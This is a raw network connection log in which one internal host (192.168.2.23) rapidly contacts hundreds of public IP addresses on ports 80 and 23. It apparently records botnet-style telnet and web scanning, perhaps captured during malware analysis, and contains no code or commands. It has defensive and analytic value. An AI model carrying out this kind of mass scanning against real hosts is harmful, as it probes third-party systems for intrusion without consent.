Dec 3, 2024 23:01:46.668837070 CET	60046	80	192.168.2.23	201.114.225.191
Dec 3, 2024 23:01:46.668838978 CET	60046	80	192.168.2.23	75.11.237.2
Dec 3, 2024 23:01:46.668838978 CET	60046	80	192.168.2.23	174.172.253.151
Dec 3, 2024 23:01:46.668844938 CET	60046	80	192.168.2.23	208.162.13.79
Dec 3, 2024 23:01:46.668845892 CET	60046	80	192.168.2.23	70.60.235.4
Dec 3, 2024 23:01:46.668848038 CET	60046	80	192.168.2.23	86.120.18.170
Dec 3, 2024 23:01:46.668848038 CET	60046	80	192.168.2.23	174.230.80.41
Dec 3, 2024 23:01:46.668853045 CET	60046	80	192.168.2.23	134.18.197.194
Dec 3, 2024 23:01:46.668858051 CET	60046	80	192.168.2.23	52.211.76.212
Dec 3, 2024 23:01:46.668862104 CET	60046	80	192.168.2.23	31.167.0.165
Dec 3, 2024 23:01:46.668874025 CET	60046	80	192.168.2.23	53.162.129.101
Dec 3, 2024 23:01:46.668879032 CET	60046	80	192.168.2.23	168.11.41.148
Dec 3, 2024 23:01:46.668879986 CET	60046	80	192.168.2.23	152.73.158.249
Dec 3, 2024 23:01:46.668881893 CET	60046	80	192.168.2.23	13.173.178.22
Dec 3, 2024 23:01:46.668889046 CET	60046	80	192.168.2.23	79.168.184.59
Dec 3, 2024 23:01:46.668889999 CET	60046	80	192.168.2.23	72.236.130.8
Dec 3, 2024 23:01:46.668890953 CET	60046	80	192.168.2.23	168.223.21.130
Dec 3, 2024 23:01:46.668900013 CET	60046	80	192.168.2.23	158.77.214.67
Dec 3, 2024 23:01:46.668900967 CET	60046	80	192.168.2.23	87.34.39.93
Dec 3, 2024 23:01:46.668900967 CET	60046	80	192.168.2.23	189.169.199.184
Dec 3, 2024 23:01:46.668910980 CET	60046	80	192.168.2.23	1.43.162.102
Dec 3, 2024 23:01:46.668912888 CET	60046	80	192.168.2.23	213.12.176.17
Dec 3, 2024 23:01:46.668920040 CET	60046	80	192.168.2.23	116.192.99.163
Dec 3, 2024 23:01:46.668921947 CET	60046	80	192.168.2.23	123.44.88.123
Dec 3, 2024 23:01:46.668925047 CET	60046	80	192.168.2.23	12.10.16.27
Dec 3, 2024 23:01:46.668929100 CET	60046	80	192.168.2.23	73.99.180.204
Dec 3, 2024 23:01:46.668945074 CET	60046	80	192.168.2.23	139.182.161.235
Dec 3, 2024 23:01:46.668946028 CET	60046	80	192.168.2.23	198.251.95.140
Dec 3, 2024 23:01:46.668950081 CET	60046	80	192.168.2.23	58.119.107.71
Dec 3, 2024 23:01:46.668950081 CET	60046	80	192.168.2.23	102.131.229.188
Dec 3, 2024 23:01:46.668952942 CET	60046	80	192.168.2.23	41.109.1.36
Dec 3, 2024 23:01:46.668953896 CET	60046	80	192.168.2.23	135.183.241.93
Dec 3, 2024 23:01:46.668953896 CET	60046	80	192.168.2.23	139.26.169.211
Dec 3, 2024 23:01:46.668953896 CET	60046	80	192.168.2.23	212.41.0.198
Dec 3, 2024 23:01:46.668968916 CET	60046	80	192.168.2.23	162.1.176.248
Dec 3, 2024 23:01:46.668977976 CET	60046	80	192.168.2.23	154.212.4.26
Dec 3, 2024 23:01:46.668978930 CET	60046	80	192.168.2.23	80.158.213.176
Dec 3, 2024 23:01:46.668982983 CET	60046	80	192.168.2.23	175.90.50.57
Dec 3, 2024 23:01:46.668986082 CET	60046	80	192.168.2.23	216.143.39.30
Dec 3, 2024 23:01:46.668988943 CET	60046	80	192.168.2.23	131.165.47.112
Dec 3, 2024 23:01:46.668994904 CET	60046	80	192.168.2.23	222.122.152.253
Dec 3, 2024 23:01:46.669006109 CET	60046	80	192.168.2.23	101.76.221.7
Dec 3, 2024 23:01:46.669011116 CET	60046	80	192.168.2.23	218.158.230.102
Dec 3, 2024 23:01:46.669011116 CET	60046	80	192.168.2.23	144.241.79.39
Dec 3, 2024 23:01:46.669015884 CET	60046	80	192.168.2.23	119.140.77.49
Dec 3, 2024 23:01:46.669030905 CET	60046	80	192.168.2.23	125.140.70.94
Dec 3, 2024 23:01:46.669032097 CET	60046	80	192.168.2.23	185.113.240.158
Dec 3, 2024 23:01:46.669032097 CET	60046	80	192.168.2.23	49.195.17.86
Dec 3, 2024 23:01:46.669034958 CET	60046	80	192.168.2.23	136.128.60.148
Dec 3, 2024 23:01:46.669035912 CET	60046	80	192.168.2.23	110.251.2.60
Dec 3, 2024 23:01:46.669039965 CET	60046	80	192.168.2.23	25.4.127.27
Dec 3, 2024 23:01:46.669039965 CET	60046	80	192.168.2.23	43.79.118.131
Dec 3, 2024 23:01:46.669039965 CET	60046	80	192.168.2.23	169.11.223.102
Dec 3, 2024 23:01:46.669049025 CET	60046	80	192.168.2.23	88.17.12.21
Dec 3, 2024 23:01:46.669049025 CET	60046	80	192.168.2.23	82.74.107.253
Dec 3, 2024 23:01:46.669059038 CET	60046	80	192.168.2.23	41.103.155.18
Dec 3, 2024 23:01:46.669061899 CET	60046	80	192.168.2.23	74.56.92.126
Dec 3, 2024 23:01:46.669071913 CET	60046	80	192.168.2.23	104.245.22.68
Dec 3, 2024 23:01:46.669075012 CET	60046	80	192.168.2.23	203.206.169.226
Dec 3, 2024 23:01:46.669075012 CET	60046	80	192.168.2.23	159.169.45.100
Dec 3, 2024 23:01:46.669075012 CET	60046	80	192.168.2.23	72.139.207.113
Dec 3, 2024 23:01:46.669075012 CET	60046	80	192.168.2.23	112.158.40.71
Dec 3, 2024 23:01:46.669087887 CET	60046	80	192.168.2.23	37.138.89.251
Dec 3, 2024 23:01:46.669090986 CET	60046	80	192.168.2.23	186.1.17.143
Dec 3, 2024 23:01:46.669091940 CET	60046	80	192.168.2.23	34.94.115.68
Dec 3, 2024 23:01:46.669094086 CET	60046	80	192.168.2.23	162.233.238.177
Dec 3, 2024 23:01:46.669099092 CET	60046	80	192.168.2.23	167.47.4.104
Dec 3, 2024 23:01:46.669106960 CET	60046	80	192.168.2.23	32.145.35.162
Dec 3, 2024 23:01:46.669111967 CET	60046	80	192.168.2.23	85.244.146.154
Dec 3, 2024 23:01:46.669115067 CET	60046	80	192.168.2.23	13.227.173.118
Dec 3, 2024 23:01:46.669126987 CET	60046	80	192.168.2.23	113.57.241.188
Dec 3, 2024 23:01:46.669126987 CET	60046	80	192.168.2.23	19.42.239.163
Dec 3, 2024 23:01:46.669127941 CET	60046	80	192.168.2.23	113.137.127.61
Dec 3, 2024 23:01:46.669135094 CET	60046	80	192.168.2.23	185.38.229.69
Dec 3, 2024 23:01:46.669137001 CET	60046	80	192.168.2.23	69.41.10.134
Dec 3, 2024 23:01:46.669137955 CET	60046	80	192.168.2.23	123.193.23.116
Dec 3, 2024 23:01:46.669142008 CET	60046	80	192.168.2.23	202.63.230.25
Dec 3, 2024 23:01:46.669142962 CET	60046	80	192.168.2.23	203.90.209.11
Dec 3, 2024 23:01:46.669150114 CET	60046	80	192.168.2.23	67.77.35.197
Dec 3, 2024 23:01:46.669154882 CET	60046	80	192.168.2.23	142.80.162.116
Dec 3, 2024 23:01:46.669158936 CET	60046	80	192.168.2.23	211.182.205.192
Dec 3, 2024 23:01:46.669173956 CET	60046	80	192.168.2.23	13.138.6.107
Dec 3, 2024 23:01:46.669176102 CET	60046	80	192.168.2.23	78.68.30.98
Dec 3, 2024 23:01:46.669176102 CET	60046	80	192.168.2.23	83.29.89.111
Dec 3, 2024 23:01:46.669178009 CET	60046	80	192.168.2.23	128.69.216.125
Dec 3, 2024 23:01:46.669184923 CET	60046	80	192.168.2.23	41.24.13.170
Dec 3, 2024 23:01:46.669187069 CET	60046	80	192.168.2.23	41.232.208.99
Dec 3, 2024 23:01:46.669187069 CET	60046	80	192.168.2.23	37.40.164.161
Dec 3, 2024 23:01:46.669188023 CET	60046	80	192.168.2.23	161.73.128.88
Dec 3, 2024 23:01:46.669188023 CET	60046	80	192.168.2.23	113.146.55.16
Dec 3, 2024 23:01:46.669194937 CET	60046	80	192.168.2.23	25.228.96.33
Dec 3, 2024 23:01:46.669194937 CET	60046	80	192.168.2.23	179.78.228.246
Dec 3, 2024 23:01:46.669197083 CET	60046	80	192.168.2.23	133.124.2.94
Dec 3, 2024 23:01:46.669198990 CET	60046	80	192.168.2.23	75.107.166.89
Dec 3, 2024 23:01:46.669203043 CET	60046	80	192.168.2.23	172.205.170.190
Dec 3, 2024 23:01:46.669203997 CET	60046	80	192.168.2.23	70.99.185.101
Dec 3, 2024 23:01:46.669209957 CET	60046	80	192.168.2.23	13.242.123.112
Dec 3, 2024 23:01:46.669212103 CET	60046	80	192.168.2.23	78.197.37.253
Dec 3, 2024 23:01:46.669224977 CET	60046	80	192.168.2.23	53.4.40.22
Dec 3, 2024 23:01:46.669238091 CET	60046	80	192.168.2.23	109.67.201.73
Dec 3, 2024 23:01:46.669240952 CET	60046	80	192.168.2.23	208.250.113.215
Dec 3, 2024 23:01:46.669245958 CET	60046	80	192.168.2.23	38.148.243.64
Dec 3, 2024 23:01:46.669245958 CET	60046	80	192.168.2.23	91.227.246.69
Dec 3, 2024 23:01:46.669245958 CET	60046	80	192.168.2.23	129.135.146.127
Dec 3, 2024 23:01:46.669245958 CET	60046	80	192.168.2.23	107.153.236.240
Dec 3, 2024 23:01:46.669248104 CET	60046	80	192.168.2.23	149.227.210.243
Dec 3, 2024 23:01:46.669245958 CET	60046	80	192.168.2.23	59.152.219.102
Dec 3, 2024 23:01:46.669248104 CET	60046	80	192.168.2.23	198.23.150.52
Dec 3, 2024 23:01:46.669250965 CET	60046	80	192.168.2.23	206.33.168.190
Dec 3, 2024 23:01:46.669260025 CET	60046	80	192.168.2.23	217.152.181.74
Dec 3, 2024 23:01:46.669271946 CET	60046	80	192.168.2.23	39.152.186.213
Dec 3, 2024 23:01:46.669271946 CET	60046	80	192.168.2.23	110.84.37.152
Dec 3, 2024 23:01:46.669272900 CET	60046	80	192.168.2.23	32.204.216.76
Dec 3, 2024 23:01:46.669275045 CET	60046	80	192.168.2.23	77.229.177.167
Dec 3, 2024 23:01:46.669275999 CET	60046	80	192.168.2.23	208.146.173.163
Dec 3, 2024 23:01:46.669280052 CET	60046	80	192.168.2.23	58.141.244.7
Dec 3, 2024 23:01:46.669281960 CET	60046	80	192.168.2.23	167.171.80.22
Dec 3, 2024 23:01:46.669285059 CET	60046	80	192.168.2.23	181.67.127.183
Dec 3, 2024 23:01:46.669294119 CET	60046	80	192.168.2.23	193.156.79.190
Dec 3, 2024 23:01:46.669298887 CET	60046	80	192.168.2.23	220.102.93.235
Dec 3, 2024 23:01:46.781586885 CET	23	62862	38.56.57.74	192.168.2.23
Dec 3, 2024 23:01:46.781610966 CET	23	62862	113.114.143.117	192.168.2.23
Dec 3, 2024 23:01:46.781620026 CET	23	62862	69.195.186.249	192.168.2.23
Dec 3, 2024 23:01:46.781631947 CET	23	62862	38.0.39.69	192.168.2.23
Dec 3, 2024 23:01:46.781646967 CET	23	62862	181.200.88.219	192.168.2.23
Dec 3, 2024 23:01:46.781699896 CET	62862	23	192.168.2.23	181.200.88.219
Dec 3, 2024 23:01:46.781702042 CET	62862	23	192.168.2.23	38.0.39.69
Dec 3, 2024 23:01:46.781714916 CET	62862	23	192.168.2.23	113.114.143.117
Dec 3, 2024 23:01:46.781716108 CET	62862	23	192.168.2.23	69.195.186.249
Dec 3, 2024 23:01:46.781717062 CET	62862	23	192.168.2.23	38.56.57.74
Dec 3, 2024 23:01:46.781735897 CET	23	62862	102.4.81.112	192.168.2.23
Dec 3, 2024 23:01:46.781745911 CET	23	62862	89.86.34.123	192.168.2.23
Dec 3, 2024 23:01:46.781755924 CET	23	62862	62.2.80.38	192.168.2.23
Dec 3, 2024 23:01:46.781768084 CET	23	62862	45.94.81.43	192.168.2.23
Dec 3, 2024 23:01:46.781774998 CET	62862	23	192.168.2.23	102.4.81.112
Dec 3, 2024 23:01:46.781786919 CET	23	62862	164.191.106.185	192.168.2.23
Dec 3, 2024 23:01:46.781796932 CET	23	62862	27.10.185.48	192.168.2.23
Dec 3, 2024 23:01:46.781804085 CET	62862	23	192.168.2.23	89.86.34.123
Dec 3, 2024 23:01:46.781806946 CET	23	62862	82.215.1.222	192.168.2.23
Dec 3, 2024 23:01:46.781809092 CET	62862	23	192.168.2.23	62.2.80.38
Dec 3, 2024 23:01:46.781812906 CET	62862	23	192.168.2.23	45.94.81.43
Dec 3, 2024 23:01:46.781814098 CET	62862	23	192.168.2.23	164.191.106.185
Dec 3, 2024 23:01:46.781816006 CET	23	62862	146.211.79.209	192.168.2.23
Dec 3, 2024 23:01:46.781821966 CET	62862	23	192.168.2.23	27.10.185.48
Dec 3, 2024 23:01:46.781827927 CET	23	62862	198.90.27.14	192.168.2.23
Dec 3, 2024 23:01:46.781836987 CET	23	62862	108.76.216.200	192.168.2.23
Dec 3, 2024 23:01:46.781841040 CET	62862	23	192.168.2.23	82.215.1.222
Dec 3, 2024 23:01:46.781861067 CET	62862	23	192.168.2.23	146.211.79.209
Dec 3, 2024 23:01:46.781867027 CET	62862	23	192.168.2.23	198.90.27.14
Dec 3, 2024 23:01:46.781867981 CET	62862	23	192.168.2.23	108.76.216.200
Dec 3, 2024 23:01:46.781933069 CET	23	62862	178.162.65.105	192.168.2.23
Dec 3, 2024 23:01:46.781943083 CET	23	62862	170.77.175.131	192.168.2.23
Dec 3, 2024 23:01:46.781950951 CET	23	62862	132.46.119.24	192.168.2.23
Dec 3, 2024 23:01:46.781955004 CET	23	62862	198.161.85.248	192.168.2.23
Dec 3, 2024 23:01:46.781964064 CET	23	62862	106.71.193.31	192.168.2.23
Dec 3, 2024 23:01:46.781970978 CET	62862	23	192.168.2.23	178.162.65.105
Dec 3, 2024 23:01:46.781971931 CET	23	62862	160.122.73.54	192.168.2.23
Dec 3, 2024 23:01:46.781982899 CET	23	62862	88.60.122.206	192.168.2.23
Dec 3, 2024 23:01:46.781985044 CET	62862	23	192.168.2.23	170.77.175.131
Dec 3, 2024 23:01:46.781991005 CET	23	62862	75.246.140.18	192.168.2.23
Dec 3, 2024 23:01:46.781992912 CET	62862	23	192.168.2.23	132.46.119.24
Dec 3, 2024 23:01:46.781997919 CET	62862	23	192.168.2.23	198.161.85.248
Dec 3, 2024 23:01:46.782001019 CET	23	62862	198.217.124.21	192.168.2.23
Dec 3, 2024 23:01:46.782010078 CET	23	62862	18.97.6.188	192.168.2.23
Dec 3, 2024 23:01:46.782010078 CET	62862	23	192.168.2.23	160.122.73.54
Dec 3, 2024 23:01:46.782011032 CET	62862	23	192.168.2.23	88.60.122.206
Dec 3, 2024 23:01:46.782021999 CET	62862	23	192.168.2.23	106.71.193.31
Dec 3, 2024 23:01:46.782023907 CET	23	62862	151.62.148.164	192.168.2.23
Dec 3, 2024 23:01:46.782030106 CET	62862	23	192.168.2.23	75.246.140.18
Dec 3, 2024 23:01:46.782035112 CET	23	62862	93.196.90.69	192.168.2.23
Dec 3, 2024 23:01:46.782035112 CET	62862	23	192.168.2.23	18.97.6.188
Dec 3, 2024 23:01:46.782041073 CET	62862	23	192.168.2.23	198.217.124.21
Dec 3, 2024 23:01:46.782043934 CET	23	62862	95.92.64.75	192.168.2.23
Dec 3, 2024 23:01:46.782053947 CET	23	62862	152.32.94.203	192.168.2.23
Dec 3, 2024 23:01:46.782061100 CET	23	62862	209.37.156.111	192.168.2.23
Dec 3, 2024 23:01:46.782064915 CET	62862	23	192.168.2.23	151.62.148.164
Dec 3, 2024 23:01:46.782069921 CET	62862	23	192.168.2.23	93.196.90.69
Dec 3, 2024 23:01:46.782069921 CET	62862	23	192.168.2.23	95.92.64.75
Dec 3, 2024 23:01:46.782083988 CET	62862	23	192.168.2.23	152.32.94.203
Dec 3, 2024 23:01:46.782103062 CET	62862	23	192.168.2.23	209.37.156.111
Dec 3, 2024 23:01:46.782397985 CET	23	62862	133.207.7.2	192.168.2.23
Dec 3, 2024 23:01:46.782407045 CET	23	62862	222.20.154.169	192.168.2.23
Dec 3, 2024 23:01:46.782411098 CET	23	62862	83.208.235.108	192.168.2.23
Dec 3, 2024 23:01:46.782419920 CET	23	62862	82.125.109.125	192.168.2.23
Dec 3, 2024 23:01:46.782429934 CET	23	62862	179.97.183.66	192.168.2.23
Dec 3, 2024 23:01:46.782443047 CET	62862	23	192.168.2.23	133.207.7.2
Dec 3, 2024 23:01:46.782443047 CET	62862	23	192.168.2.23	83.208.235.108
Dec 3, 2024 23:01:46.782443047 CET	62862	23	192.168.2.23	82.125.109.125
Dec 3, 2024 23:01:46.782447100 CET	62862	23	192.168.2.23	222.20.154.169
Dec 3, 2024 23:01:46.782449961 CET	23	62862	150.42.82.66	192.168.2.23
Dec 3, 2024 23:01:46.782465935 CET	62862	23	192.168.2.23	179.97.183.66
Dec 3, 2024 23:01:46.782490015 CET	23	62862	122.213.151.52	192.168.2.23
Dec 3, 2024 23:01:46.782490969 CET	62862	23	192.168.2.23	150.42.82.66
Dec 3, 2024 23:01:46.782497883 CET	23	62862	191.14.125.215	192.168.2.23
Dec 3, 2024 23:01:46.782501936 CET	23	62862	88.98.208.168	192.168.2.23
Dec 3, 2024 23:01:46.782505989 CET	23	62862	14.152.201.196	192.168.2.23
Dec 3, 2024 23:01:46.782509089 CET	23	62862	137.96.173.255	192.168.2.23
Dec 3, 2024 23:01:46.782512903 CET	23	62862	9.204.172.172	192.168.2.23
Dec 3, 2024 23:01:46.782527924 CET	62862	23	192.168.2.23	122.213.151.52
Dec 3, 2024 23:01:46.782535076 CET	62862	23	192.168.2.23	191.14.125.215
Dec 3, 2024 23:01:46.782535076 CET	62862	23	192.168.2.23	137.96.173.255
Dec 3, 2024 23:01:46.782536030 CET	23	62862	63.236.126.74	192.168.2.23
Dec 3, 2024 23:01:46.782536983 CET	62862	23	192.168.2.23	88.98.208.168
Dec 3, 2024 23:01:46.782542944 CET	62862	23	192.168.2.23	14.152.201.196
Dec 3, 2024 23:01:46.782545090 CET	62862	23	192.168.2.23	9.204.172.172
Dec 3, 2024 23:01:46.782546997 CET	23	62862	71.61.151.125	192.168.2.23
Dec 3, 2024 23:01:46.782557964 CET	23	62862	94.103.16.219	192.168.2.23
Dec 3, 2024 23:01:46.782572985 CET	62862	23	192.168.2.23	63.236.126.74
Dec 3, 2024 23:01:46.782576084 CET	62862	23	192.168.2.23	71.61.151.125
Dec 3, 2024 23:01:46.782588005 CET	62862	23	192.168.2.23	94.103.16.219
Dec 3, 2024 23:01:46.782623053 CET	23	62862	219.37.200.135	192.168.2.23
Dec 3, 2024 23:01:46.782661915 CET	62862	23	192.168.2.23	219.37.200.135
Dec 3, 2024 23:01:46.782735109 CET	23	62862	178.10.105.234	192.168.2.23
Dec 3, 2024 23:01:46.782744884 CET	23	62862	102.62.61.191	192.168.2.23
Dec 3, 2024 23:01:46.782749891 CET	23	62862	129.223.215.254	192.168.2.23
Dec 3, 2024 23:01:46.782757998 CET	23	62862	97.198.235.107	192.168.2.23
Dec 3, 2024 23:01:46.782766104 CET	23	62862	96.3.162.124	192.168.2.23
Dec 3, 2024 23:01:46.782774925 CET	23	62862	68.44.108.32	192.168.2.23
Dec 3, 2024 23:01:46.782777071 CET	62862	23	192.168.2.23	178.10.105.234
Dec 3, 2024 23:01:46.782784939 CET	62862	23	192.168.2.23	102.62.61.191
Dec 3, 2024 23:01:46.782784939 CET	62862	23	192.168.2.23	129.223.215.254
Dec 3, 2024 23:01:46.782785892 CET	23	62862	162.100.216.208	192.168.2.23
Dec 3, 2024 23:01:46.782793045 CET	62862	23	192.168.2.23	97.198.235.107
Dec 3, 2024 23:01:46.782799006 CET	23	62862	180.30.21.191	192.168.2.23
Dec 3, 2024 23:01:46.782804012 CET	62862	23	192.168.2.23	96.3.162.124
Dec 3, 2024 23:01:46.782804012 CET	62862	23	192.168.2.23	68.44.108.32
Dec 3, 2024 23:01:46.782818079 CET	23	62862	193.157.38.22	192.168.2.23
Dec 3, 2024 23:01:46.782820940 CET	62862	23	192.168.2.23	162.100.216.208
Dec 3, 2024 23:01:46.782825947 CET	62862	23	192.168.2.23	180.30.21.191
Dec 3, 2024 23:01:46.782829046 CET	23	62862	206.89.162.180	192.168.2.23
Dec 3, 2024 23:01:46.782840014 CET	23	62862	186.248.100.184	192.168.2.23
Dec 3, 2024 23:01:46.782847881 CET	23	62862	180.96.185.250	192.168.2.23
Dec 3, 2024 23:01:46.782856941 CET	62862	23	192.168.2.23	193.157.38.22
Dec 3, 2024 23:01:46.782860994 CET	62862	23	192.168.2.23	206.89.162.180
Dec 3, 2024 23:01:46.782866001 CET	62862	23	192.168.2.23	186.248.100.184
Dec 3, 2024 23:01:46.782881975 CET	62862	23	192.168.2.23	180.96.185.250
Dec 3, 2024 23:01:46.783375025 CET	23	62862	25.26.67.27	192.168.2.23
Dec 3, 2024 23:01:46.783382893 CET	23	62862	38.226.138.236	192.168.2.23
Dec 3, 2024 23:01:46.783392906 CET	23	62862	88.20.168.160	192.168.2.23
Dec 3, 2024 23:01:46.783401966 CET	23	62862	136.160.111.162	192.168.2.23
Dec 3, 2024 23:01:46.783416986 CET	62862	23	192.168.2.23	25.26.67.27
Dec 3, 2024 23:01:46.783420086 CET	23	62862	192.90.60.20	192.168.2.23
Dec 3, 2024 23:01:46.783423901 CET	62862	23	192.168.2.23	38.226.138.236
Dec 3, 2024 23:01:46.783423901 CET	62862	23	192.168.2.23	88.20.168.160
Dec 3, 2024 23:01:46.783430099 CET	23	62862	128.219.9.103	192.168.2.23
Dec 3, 2024 23:01:46.783442974 CET	62862	23	192.168.2.23	136.160.111.162
Dec 3, 2024 23:01:46.783462048 CET	62862	23	192.168.2.23	128.219.9.103
Dec 3, 2024 23:01:46.783462048 CET	62862	23	192.168.2.23	192.90.60.20
Dec 3, 2024 23:01:46.783479929 CET	23	62862	99.15.190.15	192.168.2.23
Dec 3, 2024 23:01:46.783488989 CET	23	62862	133.44.193.89	192.168.2.23
Dec 3, 2024 23:01:46.783519983 CET	62862	23	192.168.2.23	99.15.190.15
Dec 3, 2024 23:01:46.783521891 CET	62862	23	192.168.2.23	133.44.193.89
Dec 3, 2024 23:01:46.783528090 CET	23	62862	158.100.96.193	192.168.2.23
Dec 3, 2024 23:01:46.783538103 CET	23	62862	162.12.60.94	192.168.2.23
Dec 3, 2024 23:01:46.783545971 CET	23	62862	168.200.130.49	192.168.2.23
Dec 3, 2024 23:01:46.783562899 CET	23	62862	66.20.195.103	192.168.2.23
Dec 3, 2024 23:01:46.783565998 CET	62862	23	192.168.2.23	158.100.96.193
Dec 3, 2024 23:01:46.783566952 CET	62862	23	192.168.2.23	162.12.60.94
Dec 3, 2024 23:01:46.783572912 CET	23	62862	149.175.155.132	192.168.2.23
Dec 3, 2024 23:01:46.783580065 CET	62862	23	192.168.2.23	168.200.130.49
Dec 3, 2024 23:01:46.783581972 CET	23	62862	79.16.160.144	192.168.2.23
Dec 3, 2024 23:01:46.783591986 CET	23	62862	183.0.60.93	192.168.2.23
Dec 3, 2024 23:01:46.783598900 CET	62862	23	192.168.2.23	66.20.195.103
Dec 3, 2024 23:01:46.783601999 CET	23	62862	94.244.127.120	192.168.2.23
Dec 3, 2024 23:01:46.783612013 CET	62862	23	192.168.2.23	79.16.160.144
Dec 3, 2024 23:01:46.783622026 CET	23	62862	99.171.160.8	192.168.2.23
Dec 3, 2024 23:01:46.783623934 CET	62862	23	192.168.2.23	183.0.60.93
Dec 3, 2024 23:01:46.783624887 CET	62862	23	192.168.2.23	149.175.155.132
Dec 3, 2024 23:01:46.783632040 CET	23	62862	97.113.209.41	192.168.2.23
Dec 3, 2024 23:01:46.783633947 CET	62862	23	192.168.2.23	94.244.127.120
Dec 3, 2024 23:01:46.783641100 CET	23	62862	59.118.232.252	192.168.2.23
Dec 3, 2024 23:01:46.783663988 CET	62862	23	192.168.2.23	99.171.160.8
Dec 3, 2024 23:01:46.783664942 CET	62862	23	192.168.2.23	97.113.209.41
Dec 3, 2024 23:01:46.783673048 CET	62862	23	192.168.2.23	59.118.232.252
Dec 3, 2024 23:01:46.783675909 CET	23	62862	71.91.213.213	192.168.2.23
Dec 3, 2024 23:01:46.783684969 CET	23	62862	47.184.169.196	192.168.2.23
Dec 3, 2024 23:01:46.783695936 CET	23	62862	130.39.125.221	192.168.2.23
Dec 3, 2024 23:01:46.783704996 CET	23	62862	94.19.93.90	192.168.2.23
Dec 3, 2024 23:01:46.783715963 CET	62862	23	192.168.2.23	71.91.213.213
Dec 3, 2024 23:01:46.783721924 CET	23	62862	83.211.180.23	192.168.2.23
Dec 3, 2024 23:01:46.783723116 CET	62862	23	192.168.2.23	47.184.169.196
Dec 3, 2024 23:01:46.783732891 CET	62862	23	192.168.2.23	130.39.125.221
Dec 3, 2024 23:01:46.783734083 CET	23	62862	85.239.33.197	192.168.2.23
Dec 3, 2024 23:01:46.783740044 CET	62862	23	192.168.2.23	94.19.93.90
Dec 3, 2024 23:01:46.783746958 CET	23	62862	4.207.251.76	192.168.2.23
Dec 3, 2024 23:01:46.783755064 CET	23	62862	207.125.224.189	192.168.2.23
Dec 3, 2024 23:01:46.783756971 CET	62862	23	192.168.2.23	83.211.180.23
Dec 3, 2024 23:01:46.783759117 CET	62862	23	192.168.2.23	85.239.33.197
Dec 3, 2024 23:01:46.783775091 CET	62862	23	192.168.2.23	4.207.251.76
Dec 3, 2024 23:01:46.783786058 CET	23	62862	197.138.255.144	192.168.2.23
Dec 3, 2024 23:01:46.783791065 CET	62862	23	192.168.2.23	207.125.224.189
Dec 3, 2024 23:01:46.783826113 CET	62862	23	192.168.2.23	197.138.255.144
Dec 3, 2024 23:01:46.784136057 CET	23	62862	132.131.235.226	192.168.2.23
Dec 3, 2024 23:01:46.784173965 CET	62862	23	192.168.2.23	132.131.235.226
Dec 3, 2024 23:01:46.784173965 CET	23	62862	19.140.139.176	192.168.2.23
Dec 3, 2024 23:01:46.784183025 CET	23	62862	210.111.111.41	192.168.2.23
Dec 3, 2024 23:01:46.784193039 CET	23	62862	111.238.208.65	192.168.2.23
Dec 3, 2024 23:01:46.784200907 CET	23	62862	217.203.132.214	192.168.2.23
Dec 3, 2024 23:01:46.784209967 CET	23	62862	100.184.19.53	192.168.2.23
Dec 3, 2024 23:01:46.784218073 CET	62862	23	192.168.2.23	19.140.139.176
Dec 3, 2024 23:01:46.784218073 CET	62862	23	192.168.2.23	210.111.111.41
Dec 3, 2024 23:01:46.784218073 CET	62862	23	192.168.2.23	111.238.208.65
Dec 3, 2024 23:01:46.784229040 CET	62862	23	192.168.2.23	217.203.132.214
Dec 3, 2024 23:01:46.784243107 CET	62862	23	192.168.2.23	100.184.19.53
Dec 3, 2024 23:01:46.784259081 CET	23	62862	168.1.46.112	192.168.2.23
Dec 3, 2024 23:01:46.784292936 CET	62862	23	192.168.2.23	168.1.46.112
Dec 3, 2024 23:01:46.784399033 CET	23	62862	140.148.56.27	192.168.2.23
Dec 3, 2024 23:01:46.784409046 CET	23	62862	81.89.90.196	192.168.2.23
Dec 3, 2024 23:01:46.784418106 CET	23	62862	152.97.203.217	192.168.2.23
Dec 3, 2024 23:01:46.784426928 CET	23	62862	108.168.238.49	192.168.2.23
Dec 3, 2024 23:01:46.784437895 CET	62862	23	192.168.2.23	140.148.56.27
Dec 3, 2024 23:01:46.784442902 CET	62862	23	192.168.2.23	81.89.90.196
Dec 3, 2024 23:01:46.784456968 CET	62862	23	192.168.2.23	108.168.238.49
Dec 3, 2024 23:01:46.784456968 CET	62862	23	192.168.2.23	152.97.203.217
Dec 3, 2024 23:01:46.791843891 CET	80	60046	143.158.148.33	192.168.2.23
Dec 3, 2024 23:01:46.791887999 CET	60046	80	192.168.2.23	143.158.148.33
Dec 3, 2024 23:01:47.632545948 CET	52030	23	192.168.2.23	217.32.184.17
Dec 3, 2024 23:01:47.659425020 CET	62862	23	192.168.2.23	27.178.250.112
Dec 3, 2024 23:01:47.659426928 CET	62862	23	192.168.2.23	119.209.229.180
Dec 3, 2024 23:01:47.659429073 CET	62862	23	192.168.2.23	64.61.186.99
Dec 3, 2024 23:01:47.659429073 CET	62862	23	192.168.2.23	183.50.85.146
Dec 3, 2024 23:01:47.659436941 CET	62862	23	192.168.2.23	188.31.146.86
Dec 3, 2024 23:01:47.659436941 CET	62862	23	192.168.2.23	62.5.120.238
Dec 3, 2024 23:01:47.659455061 CET	62862	23	192.168.2.23	219.106.208.200
Dec 3, 2024 23:01:47.659456968 CET	62862	23	192.168.2.23	146.52.78.41
Dec 3, 2024 23:01:47.659456968 CET	62862	23	192.168.2.23	78.193.158.66
Dec 3, 2024 23:01:47.659470081 CET	62862	23	192.168.2.23	12.37.242.145
Dec 3, 2024 23:01:47.659476995 CET	62862	23	192.168.2.23	108.38.225.91
Dec 3, 2024 23:01:47.659480095 CET	62862	23	192.168.2.23	84.201.119.121
Dec 3, 2024 23:01:47.659480095 CET	62862	23	192.168.2.23	203.30.175.24
Dec 3, 2024 23:01:47.659480095 CET	62862	23	192.168.2.23	53.199.70.78
Dec 3, 2024 23:01:47.659481049 CET	62862	23	192.168.2.23	169.53.34.204
Dec 3, 2024 23:01:47.659492970 CET	62862	23	192.168.2.23	5.187.202.17
Dec 3, 2024 23:01:47.659492970 CET	62862	23	192.168.2.23	117.31.61.178
Dec 3, 2024 23:01:47.659493923 CET	62862	23	192.168.2.23	187.212.156.185
Dec 3, 2024 23:01:47.659495115 CET	62862	23	192.168.2.23	66.61.48.249
Dec 3, 2024 23:01:47.659495115 CET	62862	23	192.168.2.23	172.47.222.220
Dec 3, 2024 23:01:47.659501076 CET	62862	23	192.168.2.23	191.94.195.254
Dec 3, 2024 23:01:47.659503937 CET	62862	23	192.168.2.23	188.207.21.230
Dec 3, 2024 23:01:47.659502983 CET	62862	23	192.168.2.23	160.186.215.91
